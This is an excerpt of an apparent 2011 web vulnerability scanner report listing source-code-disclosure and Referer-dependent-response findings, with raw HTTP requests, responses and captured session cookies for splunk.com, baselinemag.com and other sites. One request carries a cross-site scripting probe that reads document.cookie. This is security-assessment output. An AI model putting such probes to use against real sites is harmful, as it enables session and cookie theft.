Content-Length: 93984

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
   <head>
   <meta http-equiv="Content-Type"
...[SNIP]...



                                           <form name="frmSignin" action="/doxch.do;jsessionid=4E443E46E7407FFBFC8C18EDD7D81501.etc34?dst=https://HI/en/hi/PFSLogin" method="post">


               
...[SNIP]...
<br/>
                   <input id="PasswordPIN" name="password" type="password" tabindex="5" class="frmTextSignin"/><br/>
...[SNIP]...

17. Source code disclosure previous next
There are 7 instances of this issue:

http://feeds.tipd.com/tipd
http://www.addthis.com/bookmark.php
https://www.infosecisland.com/blogview/5213-Splunk-4-Users-Review.html
http://www.splunk.com/
http://www.splunk.com/index.php
http://www.splunk.com/search/docs
http://www.technotizie.it/

Issue background

Server-side source code may contain sensitive information which can help an attacker formulate attacks against the application.

Issue remediation

Server-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. You should review the cause of the code disclosure and prevent it from happening.

17.1. http://feeds.tipd.com/tipd previous next

Summary

Severity:	Low
Confidence:	Tentative
Host:	http://feeds.tipd.com
Path:	/tipd

Issue detail

The application appears to disclose some server-side source code written in PHP.

Request

GET /tipd HTTP/1.1
Host: feeds.tipd.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/xml; charset=UTF-8
ETag: K0vFCjvtC9HJOnj8mSSIq1umJOU
Last-Modified: Sun, 06 Feb 2011 14:48:32 GMT
Date: Sun, 06 Feb 2011 16:04:05 GMT
Expires: Sun, 06 Feb 2011 16:04:05 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.tipd.com/~d/styles/itemcontent.css"?><?phpxml version="1.0" encoding="utf-8"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:feedburner="http://rssnamespace.org/feed
...[SNIP]...

17.2. http://www.addthis.com/bookmark.php previous next

Summary

Severity:	Low
Confidence:	Tentative
Host:	http://www.addthis.com
Path:	/bookmark.php

Issue detail

The application appears to disclose some server-side source code written in PHP.

Request

GET /bookmark.php HTTP/1.1
Host: www.addthis.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

17.3. https://www.infosecisland.com/blogview/5213-Splunk-4-Users-Review.html previous next

Summary

Severity:	Low
Confidence:	Tentative
Host:	https://www.infosecisland.com
Path:	/blogview/5213-Splunk-4-Users-Review.html

Issue detail

The application appears to disclose some server-side source code written in PHP.

Request

GET /blogview/5213-Splunk-4-Users-Review.html HTTP/1.1
Host: www.infosecisland.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

17.4. http://www.splunk.com/ previous next

Summary

Severity:	Low
Confidence:	Tentative
Host:	http://www.splunk.com
Path:	/

Issue detail

The application appears to disclose some server-side source code written in PHP.

Request

GET / HTTP/1.1
Host: www.splunk.com
Proxy-Connection: keep-alive
Referer: http://splunkbase.splunk.com/?1ffc5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E46cc332d1dc=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:56:01 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 3d14396a178718eef57fdbe52275cbdf1296942426-gzip
Last-Modified: Sat, 05 Feb 2011 21:47:06 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 56006

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/d
...[SNIP]...
:5px;
}
#quoteItemNav {
   float:left;
   margin-right:8px;
   width:37px;
}
#quoteItemNav a {
   display:block;
   float:right;
   height:20px;
   width:15px;
   margin-top:5px;
   background-image:url(<?= $SrvURL ?>themes/splunk_com/css/images/triangles.gif);
   background-repeat:no-repeat;
}
#quoteItemNav a#quoteItemFwd {
   background-position:-13px 7px;
}
#quoteItemNav a#quoteItemrBack {
   background-positio
...[SNIP]...

17.5. http://www.splunk.com/index.php previous next

Summary

Severity:	Low
Confidence:	Tentative
Host:	http://www.splunk.com
Path:	/index.php

Issue detail

The application appears to disclose some server-side source code written in PHP.

Request

GET /index.php HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:12:33 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: a13e4a0548c1ef711d8d3f024061b2731296943954
Last-Modified: Sat, 05 Feb 2011 22:12:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 56021

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/d
...[SNIP]...
:5px;
}
#quoteItemNav {
   float:left;
   margin-right:8px;
   width:37px;
}
#quoteItemNav a {
   display:block;
   float:right;
   height:20px;
   width:15px;
   margin-top:5px;
   background-image:url(<?= $SrvURL ?>themes/splunk_com/css/images/triangles.gif);
   background-repeat:no-repeat;
}
#quoteItemNav a#quoteItemFwd {
   background-position:-13px 7px;
}
#quoteItemNav a#quoteItemrBack {
   background-positio
...[SNIP]...

17.6. http://www.splunk.com/search/docs previous next

Summary

Severity:	Low
Confidence:	Tentative
Host:	http://www.splunk.com
Path:	/search/docs

Issue detail

The application appears to disclose some server-side source code written in PHP.

Request

GET /search/docs HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:19:38 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:49:38 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:49:38 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19288

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<strong><?= htmlspecialchars() ?></strong>
...[SNIP]...

17.7. http://www.technotizie.it/ previous next

Summary

Severity:	Low
Confidence:	Tentative
Host:	http://www.technotizie.it
Path:	/

Issue detail

The application appears to disclose some server-side source code written in PHP.

Request

GET / HTTP/1.1
Host: www.technotizie.it
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:16:01 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_perl/2.0.4 Perl/v5.8.8
X-Powered-By: PHP/5.2.13
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=a2fe6d01069a1f823b3db46a2b731463; path=/
Connection: close
Content-Type: text/html
Content-Length: 93569

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<p><?php echo $media->group->description; ?></p>
...[SNIP]...
<p><?php echo $media->group->description; ?></p>
...[SNIP]...
<p><?php echo $media->group->description; ?></p>
...[SNIP]...
<p><?php echo $media->group->description; ?></p>
...[SNIP]...

18. Referer-dependent response previous next
There are 12 instances of this issue:

http://www.baselinemag.com/blank.gif
http://www.baselinemag.com/images/marketplace-hdr-bg.gif
http://www.baselinemag.com/images/marketplace-hdr.gif
http://www.baselinemag.com/spacer.gif
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/likebox.php
http://www.kledy.de/modules/buttons/buttons.php
http://www.peppernews.eu/templates/SquaretleFive/images/about.gif
http://www.youtube.com/embed/208T0-OLXA8
http://www.youtube.com/embed/5aWd_-x1oPE
http://www.youtube.com/v/VUCJyeb_3Mo
http://www.youtube.com/v/vu-10mHqFko

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defenses are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defenses against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defenses against malicious input should be employed here as for any other kinds of user-supplied data.

18.1. http://www.baselinemag.com/blank.gif previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.baselinemag.com
Path:	/blank.gif

Request 1

GET /blank.gif HTTP/1.1
Host: www.baselinemag.com
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=262210463.1296998524.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/45; sessioncookie=a3c496ee62329678ad4d9915421e3c06; successpage=/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/; s_cc=true; s_nr=1296998534562-New; s_sq=%5B%5BB%5D%5D; __utma=262210463.1274416164.1296998524.1296998524.1296998524.1; __utmc=262210463; __utmb=262210463.2.10.1296998524

Response 1

HTTP/1.1 404 Not Found
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 13:21:45 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Content-Length: 3811

<html>
<head>
<title>404 Error Page</title>
</head>

<body>
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(u
...[SNIP]...
</script>
<script language="JavaScript" type="text/javascript"></script><noscript><a href="http://www.omniture.com" title="Web Analytics"><img
src="http://ziffdavisbaseline.112.2O7.net/b/ss/ziffdavisbaseline/1/H.17--NS/0"
height="1" width="1" border="0" alt="" /></a></noscript>


<center>
<br>
<br>
<table width=500 cellpadding=7 cellspacing=0 border=0>
<tr>
<td align=center><font face=arial size=+1><b>Sorry, the page you requested
was not found.</b></font></td>
</tr>
<tr>
<td><font face=arial size=-1>Please check the URL for proper spelling and
capitalization. If you're having trouble locating a destination on Baseline,
try visiting the <b><a href="http://www.baselinemag.com/">Baseline Home page</a></b>.
Also, you may find what you're looking for if you try searching below.</font></td>
</tr>
<tr>
<td> <table width=100% cellpadding=0 cellspacing=0 border=0 bgcolor=cccccc>
<tr>
<td height=1></td>
</tr>
</table>
<table width=100% cellpadding=10 cellspacing=0 border=0 bgcolor=eeeeee>
<tr>
<td align=center> <form action="/googl
...[SNIP]...

Request 2

GET /blank.gif HTTP/1.1
Host: www.baselinemag.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=262210463.1296998524.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/45; sessioncookie=a3c496ee62329678ad4d9915421e3c06; successpage=/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/; s_cc=true; s_nr=1296998534562-New; s_sq=%5B%5BB%5D%5D; __utma=262210463.1274416164.1296998524.1296998524.1296998524.1; __utmc=262210463; __utmb=262210463.2.10.1296998524

Response 2

HTTP/1.1 404 Not Found
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 13:21:47 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Content-Length: 3726

<html>
<head>
<title>404 Error Page</title>
</head>

<body>
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(u
...[SNIP]...
</script>
<script language="JavaScript" type="text/javascript"></script><noscript><a href="http://www.omniture.com" title="Web Analytics"><img
src="http://ziffdavisbaseline.112.2O7.net/b/ss/ziffdavisbaseline/1/H.17--NS/0"
height="1" width="1" border="0" alt="" /></a></noscript>


<center>
<br>
<br>
<table width=500 cellpadding=7 cellspacing=0 border=0>
<tr>
<td align=center><font face=arial size=+1><b>Sorry, the page you requested
was not found.</b></font></td>
</tr>
<tr>
<td><font face=arial size=-1>Please check the URL for proper spelling and
capitalization. If you're having trouble locating a destination on Baseline,
try visiting the <b><a href="http://www.baselinemag.com/">Baseline Home page</a></b>.
Also, you may find what you're looking for if you try searching below.</font></td>
</tr>
<tr>
<td> <table width=100% cellpadding=0 cellspacing=0 border=0 bgcolor=cccccc>
<tr>
<td height=1></td>
</tr>
</table>
<table width=100% cellpadding=10 cellspacing=0 border=0 bgcolor=eeeeee>
<tr>
<td align=center> <form action="/googlecse.html" id="cse-search-box">
<input type="image" name="sa" value="
...[SNIP]...

18.2. http://www.baselinemag.com/images/marketplace-hdr-bg.gif previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.baselinemag.com
Path:	/images/marketplace-hdr-bg.gif

Request 1

GET /images/marketplace-hdr-bg.gif HTTP/1.1
Host: www.baselinemag.com
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=262210463.1296998524.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/45; sessioncookie=a3c496ee62329678ad4d9915421e3c06; successpage=/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/; s_cc=true; s_nr=1296998534562-New; s_sq=%5B%5BB%5D%5D; __utma=262210463.1274416164.1296998524.1296998524.1296998524.1; __utmc=262210463; __utmb=262210463.2.10.1296998524

Response 1

HTTP/1.1 404 Not Found
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 13:21:51 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Content-Length: 3831

<html>
<head>
<title>404 Error Page</title>
</head>

<body>
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(u
...[SNIP]...
</script>
<script language="JavaScript" type="text/javascript"></script><noscript><a href="http://www.omniture.com" title="Web Analytics"><img
src="http://ziffdavisbaseline.112.2O7.net/b/ss/ziffdavisbaseline/1/H.17--NS/0"
height="1" width="1" border="0" alt="" /></a></noscript>


<center>
<br>
<br>
<table width=500 cellpadding=7 cellspacing=0 border=0>
<tr>
<td align=center><font face=arial size=+1><b>Sorry, the page you requested
was not found.</b></font></td>
</tr>
<tr>
<td><font face=arial size=-1>Please check the URL for proper spelling and
capitalization. If you're having trouble locating a destination on Baseline,
try visiting the <b><a href="http://www.baselinemag.com/">Baseline Home page</a></b>.
Also, you may find what you're looking for if you try searching below.</font></td>
</tr>
<tr>
<td> <table width=100% cellpadding=0 cellspacing=0 border=0 bgcolor=cccccc>
<tr>
<td height=1></td>
</tr>
</table>
<table width=100% cellpadding=10 cellspacing=0 border=0 bgcolor=eeeeee>
<tr>
<td align=center> <form action="/googl
...[SNIP]...

Request 2

GET /images/marketplace-hdr-bg.gif HTTP/1.1
Host: www.baselinemag.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=262210463.1296998524.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/45; sessioncookie=a3c496ee62329678ad4d9915421e3c06; successpage=/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/; s_cc=true; s_nr=1296998534562-New; s_sq=%5B%5BB%5D%5D; __utma=262210463.1274416164.1296998524.1296998524.1296998524.1; __utmc=262210463; __utmb=262210463.2.10.1296998524

Response 2

HTTP/1.1 404 Not Found
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 13:21:54 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Content-Length: 3746

<html>
<head>
<title>404 Error Page</title>
</head>

<body>
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(u
...[SNIP]...
</script>
<script language="JavaScript" type="text/javascript"></script><noscript><a href="http://www.omniture.com" title="Web Analytics"><img
src="http://ziffdavisbaseline.112.2O7.net/b/ss/ziffdavisbaseline/1/H.17--NS/0"
height="1" width="1" border="0" alt="" /></a></noscript>


<center>
<br>
<br>
<table width=500 cellpadding=7 cellspacing=0 border=0>
<tr>
<td align=center><font face=arial size=+1><b>Sorry, the page you requested
was not found.</b></font></td>
</tr>
<tr>
<td><font face=arial size=-1>Please check the URL for proper spelling and
capitalization. If you're having trouble locating a destination on Baseline,
try visiting the <b><a href="http://www.baselinemag.com/">Baseline Home page</a></b>.
Also, you may find what you're looking for if you try searching below.</font></td>
</tr>
<tr>
<td> <table width=100% cellpadding=0 cellspacing=0 border=0 bgcolor=cccccc>
<tr>
<td height=1></td>
</tr>
</table>
<table width=100% cellpadding=10 cellspacing=0 border=0 bgcolor=eeeeee>
<tr>
<td align=center> <form action="/googlecse.html" id="cse-search-box">
<input type="image" name="sa" value="
...[SNIP]...

18.3. http://www.baselinemag.com/images/marketplace-hdr.gif previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.baselinemag.com
Path:	/images/marketplace-hdr.gif

Request 1

GET /images/marketplace-hdr.gif HTTP/1.1
Host: www.baselinemag.com
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=262210463.1296998524.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/45; sessioncookie=a3c496ee62329678ad4d9915421e3c06; successpage=/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/; s_cc=true; s_nr=1296998534562-New; s_sq=%5B%5BB%5D%5D; __utma=262210463.1274416164.1296998524.1296998524.1296998524.1; __utmc=262210463; __utmb=262210463.2.10.1296998524

Response 1

HTTP/1.1 404 Not Found
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 13:21:51 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Content-Length: 3828

<html>
<head>
<title>404 Error Page</title>
</head>

<body>
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(u
...[SNIP]...
</script>
<script language="JavaScript" type="text/javascript"></script><noscript><a href="http://www.omniture.com" title="Web Analytics"><img
src="http://ziffdavisbaseline.112.2O7.net/b/ss/ziffdavisbaseline/1/H.17--NS/0"
height="1" width="1" border="0" alt="" /></a></noscript>


<center>
<br>
<br>
<table width=500 cellpadding=7 cellspacing=0 border=0>
<tr>
<td align=center><font face=arial size=+1><b>Sorry, the page you requested
was not found.</b></font></td>
</tr>
<tr>
<td><font face=arial size=-1>Please check the URL for proper spelling and
capitalization. If you're having trouble locating a destination on Baseline,
try visiting the <b><a href="http://www.baselinemag.com/">Baseline Home page</a></b>.
Also, you may find what you're looking for if you try searching below.</font></td>
</tr>
<tr>
<td> <table width=100% cellpadding=0 cellspacing=0 border=0 bgcolor=cccccc>
<tr>
<td height=1></td>
</tr>
</table>
<table width=100% cellpadding=10 cellspacing=0 border=0 bgcolor=eeeeee>
<tr>
<td align=center> <form action="/googl
...[SNIP]...

Request 2

GET /images/marketplace-hdr.gif HTTP/1.1
Host: www.baselinemag.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=262210463.1296998524.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/45; sessioncookie=a3c496ee62329678ad4d9915421e3c06; successpage=/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/; s_cc=true; s_nr=1296998534562-New; s_sq=%5B%5BB%5D%5D; __utma=262210463.1274416164.1296998524.1296998524.1296998524.1; __utmc=262210463; __utmb=262210463.2.10.1296998524

Response 2

HTTP/1.1 404 Not Found
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 13:21:58 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Content-Length: 3743

<html>
<head>
<title>404 Error Page</title>
</head>

<body>
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(u
...[SNIP]...
</script>
<script language="JavaScript" type="text/javascript"></script><noscript><a href="http://www.omniture.com" title="Web Analytics"><img
src="http://ziffdavisbaseline.112.2O7.net/b/ss/ziffdavisbaseline/1/H.17--NS/0"
height="1" width="1" border="0" alt="" /></a></noscript>


<center>
<br>
<br>
<table width=500 cellpadding=7 cellspacing=0 border=0>
<tr>
<td align=center><font face=arial size=+1><b>Sorry, the page you requested
was not found.</b></font></td>
</tr>
<tr>
<td><font face=arial size=-1>Please check the URL for proper spelling and
capitalization. If you're having trouble locating a destination on Baseline,
try visiting the <b><a href="http://www.baselinemag.com/">Baseline Home page</a></b>.
Also, you may find what you're looking for if you try searching below.</font></td>
</tr>
<tr>
<td> <table width=100% cellpadding=0 cellspacing=0 border=0 bgcolor=cccccc>
<tr>
<td height=1></td>
</tr>
</table>
<table width=100% cellpadding=10 cellspacing=0 border=0 bgcolor=eeeeee>
<tr>
<td align=center> <form action="/googlecse.html" id="cse-search-box">
<input type="image" name="sa" value="
...[SNIP]...

18.4. http://www.baselinemag.com/spacer.gif previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.baselinemag.com
Path:	/spacer.gif

Request 1

GET /spacer.gif HTTP/1.1
Host: www.baselinemag.com
Proxy-Connection: keep-alive
